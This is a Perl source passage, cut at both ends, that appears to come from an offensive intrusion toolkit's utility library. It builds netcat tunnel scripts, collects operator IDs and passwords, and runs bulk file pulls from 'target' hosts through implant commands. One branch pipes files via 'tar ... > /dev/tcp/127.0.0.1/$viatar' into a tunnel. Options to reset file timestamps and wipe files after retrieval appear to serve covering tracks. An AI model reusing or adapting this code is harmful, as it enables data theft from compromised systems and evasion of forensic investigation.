    $tmp+=int(rand($mymax - $mymin + 1));
    $tmp+=int(rand($mymax - $mymin + 1));
    $tmp %= ($mymax - $mymin + 1);
    last unless $excludethese[$tmp+$mymin];
#warn "portstart=$portstart= portstop=$portstop= SKIPPED: ".$tmp+$mywin;
  }
  return $tmp + $mymin;
}
#myrand

sub scriptordie {
  local ($donotdie) = (@_);
  my $ppid = getppid();
  my $pprocess = `ps -ef | grep $ppid | egrep -v "perl|grep"` ;
  my ($pppid) = $pprocess =~ /\w+\s+\w+\s+(\w+)/ ;
  my $scriptordie =  `scriptcheck 2>/dev/null` ;
  $scriptordie =  `ps -ef | grep $pppid | egrep -v "perl|grep" | egrep "scripme.pl|script.*script" | tail -1`
    unless $scriptordie;
  unless ($scriptordie) {
    my $processes = `pschain $$ 2>/dev/null`;
    $processes = `ps -ef | egrep "$$|$pppid" | egrep -v "grep"` unless $processes;
    unless ($scriptoverride) {
      if ($donotdie) {
	progprint("\n\n\n\aYou must run $prog in a scripted window.\n\nI.e., grandparent process must match \"script.*/script\" and does not:$COLOR_NOTE\n$processes$COLOR_NORMAL\n");
      } else {
	mydie("\n\n\n\aYou must run $prog in a scripted window.\n\nI.e., grandparent process must match \"script.*/script\" and does not:$COLOR_NOTE\n$processes$COLOR_NORMAL\n");
      }
    } else {
      progprint("WARNING: Overriding requirement for \"script -af\" in this window.

     That is there to protect you. If you continue unscripted, it's your problem.
     $prog will proceed in 10 seconds. Just wait.
",$COLOR_FAILURE);
      sleep 10 unless ($opt_o) ;
    }
    return "";
  } else {
    $scriptordie =~ s/.*script/script/ ;
    chomp($scriptordie);
    progprint("Confirmed this window is scripted ($scriptordie)");
    return $scriptordie;
  }
}				#scriptordie

sub maketunnelscripts {
  return if (-s "$opbin/closetunnel");
  if (open(OUT2,"> $opbin/closetunnel")) {
    print OUT2 <<"EOF";
#!/bin/sh
[ "\$PORT" ] || PORT=\$1
[ "\$PORT" ] || PORT=\`cat $opbin/.tunnelport\`
[ "\$PORT" ] || PORT=18787
echo 'echo "c 1 2 3 4 5 6 7" | nc -w1 -u 127.0.0.1' \$PORT
echo 'echo "q" | nc -w1 -u 127.0.0.1' \$PORT
echo "c 1 2 3 4 5 6 7" | nc -w1 -u 127.0.0.1 \$PORT
echo "q" | nc -w1 -u 127.0.0.1 \$PORT
echo "q" | nc -w1 -u 127.0.0.1 \$PORT
EOF

  }
  close(OUT2) ;
  if (open(OUT2,"> $opbin/stattunnel")) {
    print OUT2 <<"EOF";
#!/bin/sh
[ "\$PORT" ] || PORT=\$1
[ "\$PORT" ] || PORT=\`cat $opbin/.tunnelport\`
[ "\$PORT" ] || PORT=18787
echo 'echo "s" | nc -w1 -u 127.0.0.1' \$PORT
echo "s" | nc -w1 -u 127.0.0.1 \$PORT
EOF
  }
  close(OUT2) ;
  if (open(OUT2,"> $opbin/dotunnel")) {
    print OUT2 <<"EOF";
#!/bin/sh
LINE=\${*}
[ "\$PORT" ] || PORT=\`cat $opbin/.tunnelport\`
[ "\$PORT" ] || PORT=18787
if [ "\$LINE" ] ; then
  echo echo \"\$LINE\" '| nc -w1 -u 127.0.0.1' \$PORT
  echo "\$LINE" | nc -w1 -u 127.0.0.1 \$PORT
else
  echo 'echo "s" | nc -w1 -u 127.0.0.1' \$PORT
  echo "s" | nc -w1 -u 127.0.0.1 \$PORT
fi
EOF
  }
  close(OUT2) ;
  `chmod 755 $opbin/*tunnel 2>/dev/null` ;
}#maketunnelscripts

sub ispinfo {
  local ($ispfile) = (@_);
  $ispfile = "/tmp/isp_info" unless $ispfile;
  my ($ispcitystate,$ispphone,$ispname) = ("unknown,UN","911","unknown");
  if (open(TMPIN,"$ispfile")) {
    chomp($ispname = <TMPIN>);
    $ispname =~ s/,/\./g;
    chomp($ispcitystate = <TMPIN>);
    unless ($ispcitystate =~ /,\s*[A-Z]{2}\s*$/) {
      chomp(my $ispstate = <TMPIN>);
      $ispcitystate .= "  $ispstate";
    }
    $ispcitystate =~ s/,//g;
    chomp($ispphone = <TMPIN>);
    $ispphone =~ s/,//g;
    close(TMPIN);
  } else {
    mywarn("Cannot open $ispinfo: $!");
  }
  return ($ispcitystate,$ispphone,$ispname);
}#ispinfo

sub verval {
  local($verstr) = @_ ;
  local(@tmp,$vernum);
  # We take the first thing we find that looks like N.N.N.....
  ($verstr) = $verstr =~ /([\d\.]+)/;
  # We force it to have four "octets"
  $verstr .= ".0" until $verstr =~ /\d+\.\d+\.\d+\.\d+/;
  # process ver string with multiple dots (no one rev greater than 999 please)
  # First two numbers are before decimal, the rest after
  @tmp = split (/\./, $verstr);
  $vernum = shift(@tmp) + 1000 ;
  my $frac = -1 ;
  while (@tmp) {
    $frac++ ;
    if ($frac > 0) {
      $vernum = $vernum + (shift(@tmp)/(1000**$frac));
    } else {
      $vernum = 1000 * $vernum + shift(@tmp);
    }
  }
  return () unless $verstr ;
  return ($verstr,$vernum) ;
}#verval

sub preservefile {
#  dbg("Inside preservefile(@_)");
  local (@files) = (@_);
  my $loud = pop(@files) if ($files[$#files] eq "LOUD");
  my @retarr = ();
  foreach my $file (@files) {
    if (-e $file) {
      my $ext = "0000";
      $ext++ while (-e "${file}_$ext");
      progprint("${COLOR_NOTE}$file: File exists, renaming to ${file}_$ext")
	if $loud;
      rename($file,"${file}_$ext");
      push(@retarr,"${file}_$ext");
    }
  }
  return @retarr;
}

# This was going to be used by nopenlss() could not get
# it to work right took it out
sub sortoncol {
  local ($col,$function,@array);
  # Sort the @array on column $col (zero-based)
  # using $function for the sort.
  # We strip \n if there, then add \n, so
  # original @array can have them or not, either way.
  my (%lines,$returnval)=();
  foreach (@array) {
    chomp;
    my $tmp = $_;
    $tmp =~ s/^\s+//;
    my $index = (split(/\s+/,$tmp))[$col];
    $lines{$index} .= $_."\n";
#dbg("sortoncol col=$col= function=$function index=$index\n$_");
  }
  foreach my $i (sort by_num keys %lines) {
    $returnval .= $lines{$i};
  }
  return $returnval;
}

sub fileage {
    # Returns the epoch age of the file, 0 if no such file
    local ($file) = (@_);
    return 0 unless (-f $file);
    return (stat($file))[9];
}
#fileage

sub by_num {
  return ($a <=> $b);
}
#by_num

sub by_rand {
  return (rand(50) <=> rand(50));
}
#by_rand

sub by_file_date {
  return 0 unless (-e ($a) and -e ($b));
  return (fileage($a) <=> fileage($b));
  return ((stat($a))[9] <=> (stat($b))[9]);
}

sub by_path_depth {
  # Default is return deepest paths first
  my ($tmpa,$tmpb) = ($a,$b);
  # Trim non / characters and trailing /
  $tmpa =~ s,/+,/,g;
  $tmpa =~ s,/+$,,;
  $tmpa =~ s,[^/],,g;  # Just "/" becomes "" but "/etc" becomes "/"
  # Trim non / characters and trailing /
  $tmpb =~ s,/+,/,g;
  $tmpb =~ s,/+$,,;
  $tmpb =~ s,[^/],,g;  # Just "/" becomes "" but "/etc" becomes "/"

  return (length($tmpb) <=> length($tmpa));
}

sub by_path_depth_with_times {
  # Default is return deepest paths first
  my ($tmpa,$tmpb) = ($a,$b);
  # First remove times and stoicctrl command
  $tmpa =~ s, \d+ \d+ \d+ \d+ \d+ \d+ \d+ \d+$,,;
  $tmpa =~ s, \d+ \d+ \d+ \d+ \d+ \d+$,,;
  $tmpa =~ s,^-gs stoicctrl .* /,/,;
  $tmpb =~ s, \d+ \d+ \d+ \d+ \d+ \d+ \d+ \d+$,,;
  $tmpb =~ s, \d+ \d+ \d+ \d+ \d+ \d+$,,;
  $tmpb =~ s,^-gs stoicctrl .* /,/,;

  # Trim non / characters and trailing /
  $tmpa =~ s,/+,/,g;
  $tmpa =~ s,/+$,,;
  $tmpa =~ s,[^/],,g;  # Just "/" becomes "" but "/etc" becomes "/"
  # Trim non / characters and trailing /
  $tmpb =~ s,/+,/,g;
  $tmpb =~ s,/+$,,;
  $tmpb =~ s,[^/],,g;  # Just "/" becomes "" but "/etc" becomes "/"

  return (length($tmpb) <=> length($tmpa));
}

sub showprogress {
  local ($count,$max,$linemax) = (@_);
  my $howmany;
  $linemax = int($linemax);
  $linemax=65 unless $linemax > 0;
  my $result = "";
  if (!$count and !$max) {
    $globalprogresscount=0;
    my $spaces = " " x $linemax ;
    print "\n\n|$spaces|100%\r";
    print "\n\n|$spaces|100%\r";
    return;
  }
  if ($count < 0) {
    while ($linemax >= $globalprogresscount) {
      print "*";
      $globalprogresscount++;
    }
    print "\n\n";
    return;
  }
  $howmany = int($linemax * ($count/$max));
#warn("sp($count,$max) hm=$howmany gpc=$globalprogresscount\n");

  while ($howmany >= $globalprogresscount) {
    print "*";
    $globalprogresscount++;
  }
}#showprogress

sub maxof {
  # works only for positive only lists
  local (@arr) = (@_);
  my $max=0;
  foreach (@arr) {
    $max = $_ if $_ > $max;
  }
  return $max;
}#maxof

sub minof {
  # works only for positive only lists
  local (@arr) = (@_);
  my $min=undef;
  foreach (@arr) {
    $min = $_ if (! defined $min or $_ < $min);
  }
  return $min;
}#maxof

sub waitonlocalport {
  local ($port,$timeout) = (@_);
  my $test = "";
  while ($timeout-- > 0) {
    $test = `netstat -antp | grep $port | egrep "LISTEN(\$| )"`;
    last if ($test);
    sleep 1;
  }
  return $test;
}

sub offerabort {
  my ($prompt,@more) = (@_);
  my $nl = "\n\n";
  # Just one newline if prompt ends in a comma
  $nl = " " if $prompt =~ /, *$/;
  if ($more[0] eq "N") {
    $prompt.=     " (you can also <A>bort)";
    push(@more,"A");
  } else {
    $prompt.=     "$nl<C>ontinue or <A>bort.";
    push(@more,"C","A");
  }
  #dbg("Calling  mygetinput($prompt,@more);");
#dbg("we goot defined \&mymydie=&mymydie=".scalar defined &mymydie);

  my ($abort,$abortlong) = mygetinput($prompt,@more);
#  if ($abort =~ /^a/i and lc $abort ne "always") {
  if ($abort eq "a") {
    mymydie("Aborted by user via mymydie()") if (defined &mymydie);
    mydie("Aborted by user");
  }
  return ($abort,$abortlong);
}#offerabort()

sub uniqify_array {
  local (@arr) = (@_);
  my @returnval=();
  my %alreadygot=();
  foreach my $element (@arr) {
    my $safestr = safestr($element);
    chomp(my $sum = `echo "$safestr" | cksum`);
    #dbg("sum=$sum=element=$element= safestr=$safestr=");
    next if       $alreadygot{$sum}++;
    push(@returnval,$element);
    #dbg("uniqify_array pushed sum=$sum:$element:");
  }
  return @returnval;
}#uniqify_array()

sub opproject {
    # Set new project name if given or if not yet set.
    # Return project name.

    local ($newname) = (@_);
    # Silently drop invalid characters
    $newname =~ s,[^A-Z0-9_],,g;
    # Silently ignore empty nonvalid arguments.
    if ($newname) {
	$newname = uc $newname;
	newhostvar("gbl_genthreeopname",$newname,
		   "gbl_opproject",lc $newname,
		   "gbl_project",lc $newname,
		   );
	writefile("/tmp/opname.txt.mod",$newname);
    } else {	
	my $opnamefile = "/mnt/hgfs/host/opname.txt";
	$opnamefile = "/tmp/opname.txt.mod" if (-s "/tmp/opname.txt.mod");
	$newname = uc readfile($opnamefile);
	$newname =~ s,[^A-Z0-9_],,g;
	unless($gbl_genthreeopname and $gbl_opproject and $gbl_project) {
	    newhostvar("gbl_genthreeopname",$newname,
		       "gbl_opproject",lc $newname,
		       "gbl_project",lc $newname,
		       );
	}
    }
    return $newname;
}
#opproject

sub opuser {
  # This sets $gbl_opuser, $gbl_oppasswd and $gbl_opschedule globals via newhostvar(),
  # prompting for them if their files are not yet populated. With
  # any argument, that argument preceeds the usual prompt and
  # the user is forced to answer even if the files have content.
  # Note that $forceprompt can be just a space, but setting it
  # to a tab (\t) lines up better.
  local ($forceprompt,$nopasswd,$thisuser,$clearpasswd) = (@_);
  my $noprompt = $forceprompt < 0;
  if ($forceprompt eq "CLEAR") {
    shift(@_);
    $forceprompt = 0;
    $clearpasswd = 1;
  }
  $forceprompt = 0 if $noprompt;

  my ($fileuserid,$fileuserpw) = ();
#OLDWAY:
#  do  "$opdown/opuser" if (-s "$opdown/opuser");
#  unless ($nopasswd) {
#    do "$optmp/oppasswd" if (-s "$optmp/oppasswd");
#  }
  # The $op* globals set at top of autoutils.
  my $userid = $gbl_opuser;
  $userid = $thisuser unless $userid;
  my $scheduleid = $gbl_opschedule;
  my $userpw = $gbl_oppasswd;
  if (!$noprompt and (!$userid or $forceprompt)) {
    my $extra="";
    $forceprompt = "\t" unless @_;
    while (1) {
      ($u,$userid) = mygetinput
	("$extra${forceprompt}Enter your Op UserID (exactly five digits):",$userid);
      last if $userid =~ /^\d{5}$/;
      $extra = "${COLOR_FAILURE}You must enter exactly five digits.\n".
	"(use 11111 if you do not have one)\n".
	"\n$COLOR_NORMAL\n";
      $userid = $fileuserid;
    }
    # Reset this now as we may have put a tab in there
    ($forceprompt) = (@_);
  }
  $filescheduleid = "UNKNOWN" unless $filescheduleid;
  if (!$noprompt and (!$scheduleid or $forceprompt)) {
    my $extra="";
    $forceprompt = "\t" unless @_;
    $scheduleid = "UNKNOWN" unless $scheduleid;
    while (1) {
      my $force=0;
      my $forced = "";
      ($u,$scheduleid) = mygetinput
	("$extra${forceprompt}Enter your Op Schedule ID if known\n".
	 "(14 digits, must start with YYMM):",$scheduleid);
      $scheduleid =~ s,-,,g;
      $extra = "";
      # Until this is enforced, allow "UNKNOWN" also
      last if $scheduleid eq "UNKNOWN";
      if ($scheduleid =~ /^\d+$/) {
	if ($scheduleid =~
	    /^\d\d(01|02|03|04|05|06|07|08|09|10|11|12)\d{10}$/) {
	  last;
	} else {
	  $forced = $scheduleid unless $forced;
	  $extra .= "${COLOR_FAILURE}".
	    "You entered an invalid scheudle ID. It must be 14 digits and\n".
	    "start with YYMM (2-digit year month).\n";
	  $extra .=
	    "(answer the same thing three times to override and bypass this error)\n\n";
	  unless ($forced eq $scheduleid) {
	    $force = 0;
	    $forced = "";
	  } else {
	    last if ($force++ > 2);
	  }
	  $forced = $scheduleid;
	}
      }
      last if ($scheduleid =~ /^\d+$/ or $scheduleid eq "UNKNOWN");
      $extra = "${COLOR_FAILURE}You must enter only digits (dashes optional).\n$COLOR_NORMAL\n";
      $scheduleid = $filescheduleid;
    }
    # Reset this now as we may have put a tab in there
    ($forceprompt) = (@_);
  }
  unless ($nopasswd or $clearpasswd) {
    if (!$userpw or $forceprompt) {
      $forceprompt = "\t" unless @_;
      my $extra="";
      while (1) {
	($u,$userpw) = mygetinput
	  ("${extra}${forceprompt}Enter password for UserID $gbl_opuser:","","-T");
	last if $userpw;
	$extra = "${COLOR_FAILURE}You must enter something.\n$COLOR_NORMAL\n";
      }
    }
  }
  # ASSERT: The new userid and userpw values are to be set in $hostvarfile
  #         now, clobbering any old values.
dbg("in opuser(@_) with opuser=$gbl_opuser oppasswd=$gbl_oppasswd opschedule=$gbl_opschedule");
  $userpw = "xxxxxx" if ($clearpasswd);
  newhostvar("opuser",$userid,
	     "opschedule",$scheduleid,
	     "oppasswd",$userpw,
	     "gbl_opuser",$userid,
	     "gbl_opschedule",$scheduleid,
	     "gbl_oppasswd",$userpw);
#OLDWAY:
#  ($gbl_opuser,$gbl_oppasswd) = ($userid,$userpw);
#  if ($userid ne $fileuserid and open(USEROUT,">$opdown/opuser")) {
#    print USEROUT "\$gbl_opuser = \"$userid\";\n";
#  }
#  close(USEROUT);
#  if (!$nopasswd and $userpw ne $fileuserpw and open(USEROUT,">$optmp/oppasswd")) {
#    print USEROUT "\$gbl_oppasswd = \"$userpw\";\n";
#  }
#  close(USEROUT);
  # Returning these, but globals already set in newhostvar.
  return ($gbl_opuser,$gbl_oppasswd,$gbl_opschedule);
}
#opuser

sub nopengetfiles {
  # Default to quiet -gets "-q" unless $options contains -LOUD.
  # If $options contains SIZEMAX=##, then we first do -ls -R
  # (RECURSES through all arguments, files or directories)
  # on the arguments to determine if they are files and of size
  # at most ##.
  #
  # If $options contains ONEPERLINE, do not combine -gets on same line.
  #
  # If $options contains TAILLINES=##, then we get the tail ##
  # lines of each file. (NOT IMPLEMENTED YET MAY NOT IF TAILBYTES IS GOOD  ENOUGH)
  #
  # If $options contains TAILBYTES, then we get the tail $maxsize
  # bytes of each file with -oget. Ignored if $maxsize not set.
  #
  # If $options contains MAXDOWNLOAD=##[.##], then that is our
  # cap, in megabytes, at which we stop pulling.
  #
  # If $options contains GETZERO=1 then files of size
  # zero will be retrieved. Default is to skip size 0.
  #
  # Now pushes any pulled files into @nopengotfiles, but only
  # if it is NOT empty. Use a dummy entry to turn on this feature.
  # Multiple calls to nopengetfiles() can continue to grow
  # @nopengotfiles.
  #
  local ($options,@list) = (@_);
  my ($getpreservetime,
      $getempty,$checkzero,$newoptions,$checksize,$maxsize,$minsize,
      $maxdownload,$secondtime,@newlist,$popup,$taillines,$tailbytes,
      $oneperline,$lslist,$forcereget,$wipeafter,$withoutprompt,
      $resumeifpartial,$didsomeresumes,$stopdate,$skipdupes,$getlocaldir,
      @gotfiles,$chiliopts,%chilidirs,$viatar,$viataroutput,$oldlocaldir,
     ) = ();
  my $whichrm = "";
  # We null out options if it starts with '/'
  #dbg("in nopengetfiles(@_)\n\noptions=$options= newoptions=$newoptions=");
  dbg("nopengetfiles options=$options=");

  if ($options =~ /(GETPRESERVETIME)/) {
    $getpreservetime = $1;
    $options =~ s/GETPRESERVETIME//g;
dbg("GETPRESERVETIME=$getpreservetime");
  }
  if ($options =~ /OLDLOCALDIR(.*)OLDLOCALDIR/) {
    $oldlocaldir = $1;
    $options =~ s/OLDLOCALDIR.*OLDLOCALDIR//g;
dbg("OLDLOCALDIR=$oldlocaldir");
  }
  if ($options =~ /GETVIATAR(\d+)VIATAR/) {
    $viatar = $1;
    $options =~ s/GETVIATAR\d+VIATAR//g;
  }
  if ($options =~ /CHILI(.*)CHILI/) {
    $chiliopts = $1;
    $options =~ s/CHILI.*CHILI//g;
  }
  if ($options =~ /STOPDATE(\d\d\d\d\d\d\d\d)/) {
    # Note: $stopdate is YYYYMMDD so numeric sortable
    $stopdate = $1;
    $options =~ s/STOPDATE(\d\d\d\d\d\d\d\d)//;
  }
  if ($options =~ /SKIPDUPES/) {
      ($skipdupes) = $options =~ /(SKIPDUPES(NOCOPY){0,1})/;
      $options =~ s/SKIPDUPES(NOCOPY){0,1}//g;
  }
  if ($options =~ /NOBUILTINRM/) {
    $options =~ s/NOBUILTINRM//g;
    $whichrm = "NOBUILTINRM";
  }

  if ($options =~ m,GETL(.+)LOCALDIR,) {
    $getlocaldir = $1;
    $options =~ s,GETL.*OCALDIR,,g;
    $newoptions .= " -l";
  }
  if ($options =~ /LISTIS-ls/) {
    $lslist = @list;
    $options =~ s/LISTIS-ls//;
  }

  if ($options =~ /WIPEAFTER/) {
    $wipeafter = 1;
    $options =~ s/WIPEAFTER//;
  }
  ($withoutprompt) = $options =~ /(WITHOUTPROMPT)/;
  $options =~ s/WITHOUTPROMPT//;
  if ($options =~ /FORCEREGET/) {
    $forcereget = 1;
    $options =~ s/FORCEREGET//;
  }
  if ($options =~ /RESUMEIFPARTIAL/) {
    $resumeifpartial = 1;
    $options =~ s/RESUMEIFPARTIAL//;
  }
  if ($options =~ /TAILBYTES/) {
    $tailbytes = 1;
    $options =~ s/TAILBYTES//;
  }
  if ($options =~ /HEADBYTES/) {
    $headbytes = 1;
    $options =~ s/HEADBYTES//;
  }
  if ($options =~ /TAILLINES=(\d+)/) {
    $taillines=$1;
    $options =~ s/TAILLINES=\d+//;
  }
  if ($options =~ /GETZERO=(\d+)/) {
    $getempty=$1;
    $checkzero=$getempty;
    $options =~ s/GETZERO=\d+//;
  }
  if ($options =~ /MAXDOWNLOAD=(\d+(\.[\d]+){0,1})/) {
    $maxdownload = $1 if $1 > 0;
    $options =~ s/MAXDOWNLOAD=[\.\d]+//;
  }
  if ($options =~ /SIZEMAX=(\d+)/) {
    $maxsize = $1;
    if ($maxsize > 0) {
      $checksize=1;
    }
    $options =~ s/SIZEMAX=\d+//;
  } else {
    # We ignore TAILBYTES if SIZEMAX is not set
    $tailbytes=0;
  }
  if ($options =~ /SIZEMIN=(\d+)/) {
    $minsize = $1;
    if ($minsize > 0) {
      $checksize=1;
    }
    $options =~ s/SIZEMIN=\d+//;
  }
  if ($options =~ /POPUP/) {
    $options =~ s/POPUP//;
    $newoptions .= " -v";
  }
  if ($options =~ /ONEPERLINE/) {
    $options =~ s/ONEPERLINE//;
    $oneperline++;
  }
  if ($options =~ /-LOUD/) {
    $options =~ s/-LOUD//;
  } else {
    $newoptions .= " -q";
  }
  $resumeifpartial = 0 if $chiliopts;
  if ($options) {
    @list = ($options,@list);
    $options = "";
  }
  @list = uniqify_array(@list);
  $newoptions =~ s/^\s*//;
  $newoptions =~ s/\s+/ /;
#dbg("Here lslist=$lslist=");
  $nopenlines = $stopdate if $stopdate;
  if ($lslist) {
    processnopenls(\@newlist,($tailbytes or $headbytes),$getempty,$maxsize,$output,$nopenlines,@list) ;
#    offerabort(
#	       "list has\n".
#	       join("\n",@list)."\n\n".
#	       scalar @list." entries\n".
#	       "secondtime=$secondtime=".

#	       "newlist has\n".
#	       join("\n",@newlist)."\n\n".
#	       scalar @newlist." entries\n".
#	       "DBG: WAITING HERE");
    @list=();
  }

  my $maxcmdlength = $nopenmaxcommandlength;
  $maxcmdlength -= 15 if $chiliopts;
  $maxcmdlength = 950 if ($viatar and $solaristarget);
  while (@list or @newlist) {
    last if (-f $forcelssstop);

    my ($list,@touchlist) = ();
    unless (@list) {
      @list = @newlist;
      @newlist = ();
      $secondtime++;
      @nopengotfiles = (); # Set this global to nil, about to start downloads
    }
    while (@list) {
      last if (-f $forcelssstop);
      if ($maxdownload and $secondtime) {
	# Shorten our commands if we are getting close to our cap,
	# but only on our second (-get) pass, not on the -ls pass.
	$maxcmdlength = 250 if ((bwsofar())[0]/$maxdownload > 0.85);
      }
      my $newone = shift @list;
      my $newone2 = $newone;
      $newone2 =~ s,\[,\\\\[,g;
      $newone2 =~ s,\],\\\\],g;
      #      if ($lslist) {
      #	$newone = $2
#	  if ($newone =~ m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(/.*), or
#	      $newone =~ m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(\./.*), or
#	      $newone =~ m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d+\s+\d+:\d+\s+\d{4}\s+(.*),
#	   );
#      }
dbg("

list=$list=
maxdownload=$maxdownload
maxcmdlength=$maxcmdlength
oneperline=$oneperline
filesizes{newone=$newone}=$filesizes{$newone}=
tailbytes=$tailbytes
headbytes=$headbytes
skipdupes=$skipdupes=
maxsize=$maxsize
checksize=$checksize
secondtime=$secondtime
bwsofar=".(bwsofar())[0]."\n\n".
"");
      next if $newone =~ /^\s*$/;
      if (!$chiliopts and $secondtime and defined $filesizes{$newone}) {
	# Pull remainder of partial files if we already have a smaller copy,
	# Combine the results.
	my ($gotindown,$gotinrsync,$filename,
	    $sizematch,$sizediff) = gotlocalcopy($newone,$getlocaldir,$targetcwd);

#	dbg("HERE

#HERE

#newone=$newone=
#newone2=$newone2=

#(\$gotindown,\$gotinrsync,\$filename,\$sizematch,\$sizediff) = gotlocalcopy($newone)==
#($gotindown,$gotinrsync,$filename,$sizematch,$sizediff) = 



#");
	my $localfile = "";
	$localfile = $gotindown if $gotindown;
	if ($gotinrsync) {
	  if ($gotindown and (-s $gotinrsync > -s $gotindown)) {
	    $localfile = $gotinrsync;
	  }
	}
        if ($localfile and
	    $sizediff > 0 and
	    $resumeifpartial and
	    !($checksize and
	      $tailbytes and
	      ($maxsize > 0 and
	       $filesizes{$newone} > $maxsize)
	     )) {
	  # Handle the -oget to get remainder of file
	  my $offset = $filesizes{$newone} - $sizediff;
	  preservefile("$localfile.partial");
	  rename($localfile,"$localfile.partial");
	  my ($output,$nopenlines,@lines) =
	    doit("-oget -b $offset $newone2");
	  my ($newlocalfile) = $output =~ / -. (\/.*)[\r\n]*/ ;
	  $newlocalfile =~ s,current/[^/]+/../down,current/down,;
	  $newlocalfile =~ s,/+,/,g;
	  preservefile("$newlocalfile.oget-last-$sizediff-bytes");
	  rename($newlocalfile,"$newlocalfile.oget-last-$sizediff-bytes");
	  `cat "$localfile.partial" "$newlocalfile.oget-last-$sizediff-bytes" > "$newlocalfile" ; touch -r "$newlocalfile.oget-last-$sizediff-bytes" "$newlocalfile"`;
	  progprint
	    (my $str =
	     "$COLOR_NORMAL\n\n".
	     "Done with partial -oget of this file, new version created from\n".
	     "previous partial file and this pull of $sizediff bytes.\n".
	     "Partial files remain in $opdown next to complete file:\n\n".
	     $COLOR_FAILURE.
#	     "ls -alrt $localfile*\n".
	     `ls -alrt "$localfile"*`
	    );
	  $str =~ s/Done with/Completed/;
	  $didsomeresumes .= $str;
	}
	if ($checksize) {
	  if ($tailbytes) {
	    if ($maxsize > 0 and $filesizes{$newone} > $maxsize) {
	      # Handle the -oget to get partial file
	      my $offset= $filesizes{$newone} - $maxsize;
	      my ($output,$nopenlines,@lines) =
		doit("-oget -b $offset $newone2");
	      my ($locfile) = $output =~
		m,$newone2 -- (.*$newone2)\n,;
	      $locfile =~ s,current/[^/]+/../down,current/down,;
	      my ($previous) = preservefile("$locfile.tail");
	      rename($locfile,"$locfile.tail");
	      my $more = "\n(Previous copy renamed to $previous)";
	      progprint("Partial file renamed to:\n".
			"$locfile.tail",$COLOR_WARNING);
	      next;
	    }
          } elsif ($headbytes) {
	    if ($maxsize > 0 and $filesizes{$newone} > $maxsize) {
	      # Handle the -oget to get partial file
	      my ($output,$nopenlines,@lines) =
		doit("-oget -b 0 -e $maxsize $newone2");
	      my ($locfile) = $output =~
		m,$newone2 -- (.*$newone2)\n,;
	      $locfile =~ s,current/[^/]+/../down,current/down,;
	      my ($previous) = preservefile("$locfile.head");
	      rename($locfile,"$locfile.head");
	      my $more = "\n(Previous copy renamed to $previous)";
	      progprint("Partial file renamed to:\n".
			"$locfile.head",$COLOR_WARNING);
	      next;
	    }
	  } else {
	    next if ($maxsize > 0 and
		     $filesizes{$newone} > $maxsize);
	  }
	  next if ($minsize > 0 and
		   $filesizes{$newone} < $minsize);
	}
	next if (!$getempty and $filesizes{$newone} == 0);
      }
#dbg("Past size check list=$list=");
      # ASSERT: If $secondtime, then we are pulling $newone
      # (once $list is big enough)
      if ($secondtime) {
	push(@nopengotfiles,$newone);
	push(@ourfilespulled,$newone) if @ourfilespulled;
      }
      my $thiscmd = "-get $newoptions $list $newone2";
      my $chilidir  = dirname($newone2);
      my $chiliname = basename($newone2);
      if ($chiliopts) {
	$list = $chilidirs{$chilidir};
	$thiscmd = "\\-chili $chiliopts $chilidir $chilidirs{$chilidir} $name";
      }
      if ($list and 
	  (
	   (length $thiscmd > $maxcmdlength) or
	   ($secondtime and $oneperline)
	  )
	 ) {
	if (!$secondtime and ($checksize or $getempty)) {
#	  dbg("Calling0:      doit(-ls -R $list) ;");
	  my ($output,$nopenlines,@lines) = ();
	  ($output,$nopenlines,@lines) = doit("-ls -R $list");
	  processnopenls(\@newlist,($tailbytes or $headbytes),$getempty,$maxsize,$output,$nopenlines,@lines) ;
	} else {
	  last if ($maxdownload and ((bwsofar())[0] >= $maxdownload));
#dbg("Getting:


#wipeafter=$wipeafter=
#withoutprompt=$withoutprompt=

#");
	  if ($chiliopts) {
	    doit("\\-chili $chiliopts $chilidir $chilidirs{$chilidir}");
	    delete $chilidirs{$chilidir} ;
	  } elsif ($viatar) {
	    if ($viataroutput) {
	      #TODO: Can check tar output here before continuing make sure we are not messed up
	      #offerabort("YO: output=$viataroutput=");
	    }
	    mydie("Local LISTENER on $viatar not there after 30 seconds, aborting")
	      unless waitonlocalport($viatar,30);
	    if ($solaristarget) {
	      ($viataroutput) = doit("ksh -c \"tar -cvf - $list > /dev/tcp/127.0.0.1/$viatar\"");
	    } else {
	      ($viataroutput) = doit("tar -cvf - $list > /dev/tcp/127.0.0.1/$viatar");
	    }
	    #TODO: Check this output for errors?
	  } else {
	      if ($getpreservetime) {
		  filetimesave(@touchlist);
	      }
	      doit("-get $newoptions $list") ;
	      if ($getpreservetime) {
		  filetimeresets(@touchlist);
	      }
	  }
	  offerwipe("$whichrm${withoutprompt}CONFIRMSIZE",@gotfiles) if $wipeafter;
	}
	(@gotfiles,$list) = ();
      }
      my ($gotindown,$gotinrsync,$filename) = gotlocalcopy($newone,$getlocaldir,$targetcwd);#gotlocalcopy($newone);
      unless (($gotindown or $gotinrsync) and !$forcereget) {
	if ($skipdupes) {
	  ($cksum) = doit("cksum $newone2");
	  $cksum =~ s,(\d+)\s+(\d+).*,$1 $2,g;
	  chomp($cksum);
	  if ($host_cksums{$cksum}) {
	      my $srcfile = "$opdown/$nopen_rhostname/$host_cksums{$cksum}";
dbg(" Is srcfile there still?
srcfile=$srcfile=

".`ls -al "$srcfile"`);
	      if (-f $srcfile) {
		  my $newfile = "$opdown/$nopen_rhostname/$newone2";
		  my $newdir = dirname($newfile);
		  if ($skipdupes =~ /NOCOPY/) {
		      progprint($COLOR_FAILURE.
				"Duplicate target file already retrieved,\n".
				"-0 is set so skipping local copy, these pastables will make it if you decide to later:\n\n".
				$COLOR_NORMAL.
				"-lsh mkdir -pv \"$newdir\"\n".
				"-lsh cp -pv \"$srcfile\" \"$newfile\"\n".
				"");
		  } else {
		      progprint($COLOR_FAILURE.
				"Duplicate target file already retrieved, making local copy:\n\n".
				$COLOR_NORMAL.
				"# mkdir -pv \"$newdir\"\n".
				`mkdir -pv "$newdir"`.
				"# cp -pv \"$srcfile\" \"$newfile\"\n".
				`cp -pv "$srcfile" "$newfile"`.
				"");
		  }
		  next;
	      }
	  }
	  newhostvar("host_cksums{$cksum}",$newone2);
	}
	push(@gotfiles,$newone);
	if ($chiliopts) {
	  $chilidirs{dirname($newone2)} .= " ".basename($newone2);
	} else {
	  $list .= " $newone2";
